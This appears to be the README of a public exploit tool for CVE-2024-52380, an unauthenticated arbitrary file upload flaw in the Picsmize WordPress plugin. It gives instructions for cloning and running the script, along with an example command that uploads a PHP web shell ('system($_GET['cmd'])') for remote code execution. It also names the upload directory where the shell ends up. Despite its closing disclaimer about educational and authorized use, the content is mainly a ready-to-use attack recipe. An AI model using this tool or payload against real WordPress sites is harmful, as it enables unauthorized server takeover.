
Picsmize plugin for WordPress is vulnerable to arbitrary file uploads.
Picsmize plugin for WordPress is vulnerable to arbitrary file uploads.
This script exploits a vulnerability (CVE-2024-52380) in the Picsmize plugin for WordPress, allowing unauthenticated attackers to perform arbitrary file uploads. This vulnerability exists in all versions of Picsmize up to and including 1.0.0. Exploiting this vulnerability may result in remote code execution on the target server.
requests library (pip install requests)git clone https://github.com/Nxploited/CVE-2024-52380-Exploit.git
cd CVE-2024-52380-Exploit
usage: CVE-2024-52380.py [-h] -u URL [-c CONTENT]
Check plugin version and upload a PHP file to a WordPress site.
options:
-h, --help show this help message and exit
-u URL, --url URL Base URL of the WordPress site (e.g., http://192.168.100.74:888).
-c CONTENT, --content CONTENT
Content of the PHP file to be uploaded.
python CVE-2024-52380.py -u http://192.168.1.100 -c "<?php system($_GET['cmd']); ?>"
The script provides two command-line arguments for ease of use:
-u / --url (required):
-u http://example.com
-c / --content (optional):
<?php phpinfo(); ?>
-c "<?php system($_GET['cmd']); ?>"
/wordpress: Root directory of the WordPress site.wp-content/uploads: Default directory for media uploads in WordPress.2025/01: The directory structure corresponds to the year (2025) and month (January) based on the server's date configuration.This script is intended for educational purposes and authorized security testing only. Unauthorized use of this tool against systems you do not own or have explicit permission to test is illegal and unethical.